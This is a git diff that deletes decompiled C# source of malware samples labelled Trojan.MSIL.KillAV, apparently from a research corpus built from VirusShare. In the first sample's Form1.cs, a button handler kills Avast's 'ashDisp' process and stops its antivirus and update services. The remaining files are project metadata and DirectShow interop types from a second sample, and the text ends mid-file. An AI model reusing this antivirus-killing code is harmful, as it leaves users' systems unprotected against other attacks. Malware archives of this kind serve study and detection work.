b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/AssemblyInfo.cs deleted file mode 100644 index a08fdfe6..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyCopyright("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyKeyFile("")] -[assembly: AssemblyDelaySign(false)] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyKeyName("")] -[assembly: AssemblyProduct("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyVersion("1.0.1994.2014")] diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Form1.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Form1.cs deleted file mode 100644 index e31d9511..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Form1.cs +++ /dev/null @@ -1,98 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: KasperKiller.Form1 -// Assembly: AvasatKiller, Version=1.0.1994.2014, Culture=neutral, PublicKeyToken=null -// MVID: 4001194D-BECB-404E-A026-E6EDEDC6AF03 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0.exe - -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.ServiceProcess; -using System.Windows.Forms; - -namespace KasperKiller -{ - public class Form1 : Form - { - private ServiceController serviceController1; - private Button button1; - private Label label1; - private Container components = (Container) null; - - public Form1() => this.InitializeComponent(); - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void InitializeComponent() - { - this.serviceController1 = new ServiceController(); - this.button1 = new Button(); - this.label1 = new Label(); - this.SuspendLayout(); - this.button1.BackColor = Color.Transparent; - this.button1.FlatStyle = FlatStyle.System; - this.button1.Font = new Font("Verdana", 14.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.button1.ForeColor = SystemColors.ControlText; - this.button1.Location = new Point(56, 24); - this.button1.Name = "button1"; - this.button1.Size = new Size(184, 72); - this.button1.TabIndex = 0; - this.button1.Text = "Kill Avast!"; - this.button1.Click += new EventHandler(this.button1_Click); - this.label1.ForeColor = SystemColors.InactiveCaptionText; - this.label1.Location = new Point(120, 104); - this.label1.Name = "label1"; - this.label1.Size = new Size(64, 23); - this.label1.TabIndex = 1; - this.label1.Text = "UMM.BIZ"; - this.AutoScaleBaseSize = new Size(5, 13); - this.ClientSize = new Size(292, 126); - this.Controls.Add((Control) this.label1); - this.Controls.Add((Control) this.button1); - this.ImeMode = ImeMode.On; - this.KeyPreview = true; - this.MaximizeBox = false; - this.Name = nameof (Form1); - this.Text = "Avast Killer"; - this.Load += new EventHandler(this.Form1_Load); - this.ResumeLayout(false); - } - - [STAThread] - private static void Main() => Application.Run((Form) new Form1()); - - private void Form1_Load(object sender, EventArgs e) - { - } - - private void button1_Click(object sender, EventArgs e) - { - try - { - foreach (Process process in Process.GetProcesses()) - { - if (process.ProcessName == "ashDisp") - { - process.Kill(); - break; - } - } - foreach (ServiceController service in ServiceController.GetServices()) - { - if ((service.ServiceName == "avast! Antivirus" || service.ServiceName == "aswUpdSv") && service.Status == ServiceControllerStatus.Running) - service.Stop(); - } - int num = (int) MessageBox.Show((IWin32Window) null, "Stupid Avast has been killed by LAZY! hehehe", "Kasper is killed!", MessageBoxButtons.OK, MessageBoxIcon.Hand); - } - catch (Exception ex) - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Form1.resx b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Form1.resx deleted file mode 100644 index c08f87f7..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Form1.resx +++ /dev/null @@ -1,177 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAQs= - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL - - - BUZvcm0x - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs= - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAQs= - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs= - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs= - - - AAEAAAD/////AQAAAAAAAAAEAQAAACBTeXN0ZW0uR2xvYmFsaXphdGlvbi5DdWx0dXJlSW5mbwoAAAAGbV9uYW1lCm1fZGF0YUl0ZW0RbV91c2VVc2VyT3ZlcnJpZGUJY3VsdHVyZUlEDG1faXNSZWFkT25seQtjb21wYXJlSW5mbwh0ZXh0SW5mbwdudW1JbmZvDGRhdGVUaW1lSW5mbwhjYWxlbmRhcgEAAAAAAwMDAwMIAQgBIFN5c3RlbS5HbG9iYWxpemF0aW9uLkNvbXBhcmVJbmZvHVN5c3RlbS5HbG9iYWxpemF0aW9uLlRleHRJbmZvJVN5c3RlbS5HbG9iYWxpemF0aW9uLk51bWJlckZvcm1hdEluZm8nU3lzdGVtLkdsb2JhbGl6YXRpb24uRGF0ZVRpbWVGb3JtYXRJbmZvHVN5c3RlbS5HbG9iYWxpemF0aW9uLkNhbGVuZGFyBgIAAAAAygAAAAB/AAAAAQkDAAAACQQAAAAJBQAAAAoKBAMAAAAgU3lzdGVtLkdsb2JhbGl6YXRpb24uQ29tcGFyZUluZm8CAAAACXdpbjMyTENJRAdjdWx0dXJlAAAICH8AAAB/AAAABAQAAAAdU3lzdGVtLkdsb2JhbGl6YXRpb24uVGV4dEluZm8DAAAAC21fbkRhdGFJdGVtEW1fdXNlVXNlck92ZXJyaWRlDW1fd2luMzJMYW5nSUQAAAAIAQjKAAAAAH8AAAAEBQAAACVTeXN0ZW0uR2xvYmFsaXphdGlvbi5OdW1iZXJGb3JtYXRJbmZvHwAAABBudW1iZXJHcm91cFNpemVzEmN1cnJlbmN5R3JvdXBTaXplcxFwZXJjZW50R3JvdXBTaXplcwxwb3NpdGl2ZVNpZ24MbmVnYXRpdmVTaWduFm51bWJlckRlY2ltYWxTZXBhcmF0b3IUbnVtYmVyR3JvdXBTZXBhcmF0b3IWY3VycmVuY3lHcm91cFNlcGFyYXRvchhjdXJyZW5jeURlY2ltYWxTZXBhcmF0b3IOY3VycmVuY3lTeW1ib2wSYW5zaUN1cnJlbmN5U3ltYm9sCW5hblN5bWJvbBZwb3NpdGl2ZUluZmluaXR5U3ltYm9sFm5lZ2F0aXZlSW5maW5pdHlTeW1ib2wXcGVyY2VudERlY2ltYWxTZXBhcmF0b3IVcGVyY2VudEdyb3VwU2VwYXJhdG9yDXBlcmNlbnRTeW1ib2wOcGVyTWlsbGVTeW1ib2wKbV9kYXRhSXRlbRNudW1iZXJEZWNpbWFsRGlnaXRzFWN1cnJlbmN5RGVjaW1hbERpZ2l0cxdjdXJyZW5jeVBvc2l0aXZlUGF0dGVybhdjdXJyZW5jeU5lZ2F0aXZlUGF0dGVybhVudW1iZXJOZWdhdGl2ZVBhdHRlcm4WcGVyY2VudFBvc2l0aXZlUGF0dGVybhZwZXJjZW50TmVnYXRpdmVQYXR0ZXJuFHBlcmNlbnREZWNpbWFsRGlnaXRzCmlzUmVhZE9ubHkRbV91c2VVc2VyT3ZlcnJpZGUVdmFsaWRGb3JQYXJzZUFzTnVtYmVyF3ZhbGlkRm9yUGFyc2VBc0N1cnJlbmN5BwcHAQEBAQEBAQEBAQEBAQEBAAAAAAAAAAAAAAAAAAgICAgICAgICAgICAEBAQEJBgAAAAkHAAAACQYAAAAGCQAAAAErBgoAAAABLQYLAAAAAS4GDAAAAAEsBg0AAAABLAYOAAAAAS4GDwAAAALCpAoGEAAAAANOYU4GEQAAAAhJbmZpbml0eQYSAAAACS1JbmZpbml0eQkLAAAACQwAAAAGFQAAAAElBhYAAAAD4oCwygAAAAIAAAACAAAAAAAAAAAAAAABAAAAAAAAAAAAAAACAAAAAQABAQ8GAAAAAQAAAAgDAAAADwcAAAABAAAACAMAAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFRTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0xLjAuNTAwMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAAgAAAAIAAAACw== - - - UAAAAA== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAABQAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFRTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0xLjAuNTAwMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAARAAAAEQAAAAs= - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Trojan.MSIL.KillAV.a.csproj b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Trojan.MSIL.KillAV.a.csproj deleted file mode 100644 index b485dfe4..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Trojan.MSIL.KillAV.a.csproj +++ /dev/null @@ -1,46 +0,0 @@ - - - - - Debug - AnyCPU - {F58215FD-B4E7-4716-BA93-7DC83F96DDEB} - WinExe - AvasatKiller - 1.0.1994.2014 - KasperKiller - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Trojan.MSIL.KillAV.a.sln b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Trojan.MSIL.KillAV.a.sln deleted file mode 100644 index 0bfa44b6..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Trojan.MSIL.KillAV.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AvasatKiller", "Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0.csproj", "{F58215FD-B4E7-4716-BA93-7DC83F96DDEB}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {F58215FD-B4E7-4716-BA93-7DC83F96DDEB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {F58215FD-B4E7-4716-BA93-7DC83F96DDEB}.Debug|Any CPU.Build.0 = Debug|Any CPU - {F58215FD-B4E7-4716-BA93-7DC83F96DDEB}.Release|Any CPU.ActiveCfg = Release|Any CPU - {F58215FD-B4E7-4716-BA93-7DC83F96DDEB}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/AssemblyInfo.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/AssemblyInfo.cs deleted file mode 100644 index d6825f03..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("")] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyFileVersion("0.0.0.0")] -[assembly: Guid("22e4b050-4231-4e7e-b7f4-3aea55166ef2")] -[assembly: ComVisible(false)] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMMediaType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMMediaType.cs deleted file mode 100644 index 8bfe34f0..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMMediaType.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.AMMediaType -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class AMMediaType - { - public Guid majorType; - public Guid subType; - [MarshalAs(UnmanagedType.Bool)] - public bool fixedSizeSamples; - [MarshalAs(UnmanagedType.Bool)] - public bool temporalCompression; - public int sampleSize; - public Guid formatType; - public IntPtr unkPtr; - public int formatSize; - public IntPtr formatPtr; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerEventType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerEventType.cs deleted file mode 100644 index 1c5113cf..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerEventType.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.AMTunerEventType -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum AMTunerEventType - { - Changed = 1, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerModeType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerModeType.cs deleted file mode 100644 index 6f6fc729..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerModeType.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.AMTunerModeType -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Flags] - [ComVisible(false)] - public enum AMTunerModeType - { - Default = 0, - TV = 1, - FMRadio = 2, - AMRadio = 4, - Dss = 8, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerSignalStrength.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerSignalStrength.cs deleted file mode 100644 index df860858..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerSignalStrength.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.AMTunerSignalStrength -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum AMTunerSignalStrength - { - NA = -1, // 0xFFFFFFFF - NoSignal = 0, - SignalPresent = 1, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerSubChannel.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerSubChannel.cs deleted file mode 100644 index edd23740..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerSubChannel.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.AMTunerSubChannel -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum AMTunerSubChannel - { - NoTune = -2, // 0xFFFFFFFE - Default = -1, // 0xFFFFFFFF - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AnalogVideoStandard.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AnalogVideoStandard.cs deleted file mode 100644 index 7f922484..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AnalogVideoStandard.cs +++ /dev/null @@ -1,38 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.AnalogVideoStandard -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [Flags] - public enum AnalogVideoStandard - { - None = 0, - NTSC_M = 1, - NTSC_M_J = 2, - NTSC_433 = 4, - PAL_B = 16, // 0x00000010 - PAL_D = 32, // 0x00000020 - PAL_G = 64, // 0x00000040 - PAL_H = 128, // 0x00000080 - PAL_I = 256, // 0x00000100 - PAL_M = 512, // 0x00000200 - PAL_N = 1024, // 0x00000400 - PAL_60 = 2048, // 0x00000800 - SECAM_B = 4096, // 0x00001000 - SECAM_D = 8192, // 0x00002000 - SECAM_G = 16384, // 0x00004000 - SECAM_H = 32768, // 0x00008000 - SECAM_K = 65536, // 0x00010000 - SECAM_K1 = 131072, // 0x00020000 - SECAM_L = 262144, // 0x00040000 - SECAM_L1 = 524288, // 0x00080000 - PAL_N_COMBO = 1048576, // 0x00100000 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AudioStreamConfigCaps.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AudioStreamConfigCaps.cs deleted file mode 100644 index 51174c88..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AudioStreamConfigCaps.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.AudioStreamConfigCaps -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential)] - public class AudioStreamConfigCaps - { - public Guid Guid; - public int MinimumChannels; - public int MaximumChannels; - public int ChannelsGranularity; - public int MinimumBitsPerSample; - public int MaximumBitsPerSample; - public int BitsPerSampleGranularity; - public int MinimumSampleFrequency; - public int MaximumSampleFrequency; - public int SampleFrequencyGranularity; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/BitmapInfoHeader.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/BitmapInfoHeader.cs deleted file mode 100644 index e1a1624e..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/BitmapInfoHeader.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.BitmapInfoHeader -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 2)] - public struct BitmapInfoHeader - { - public int 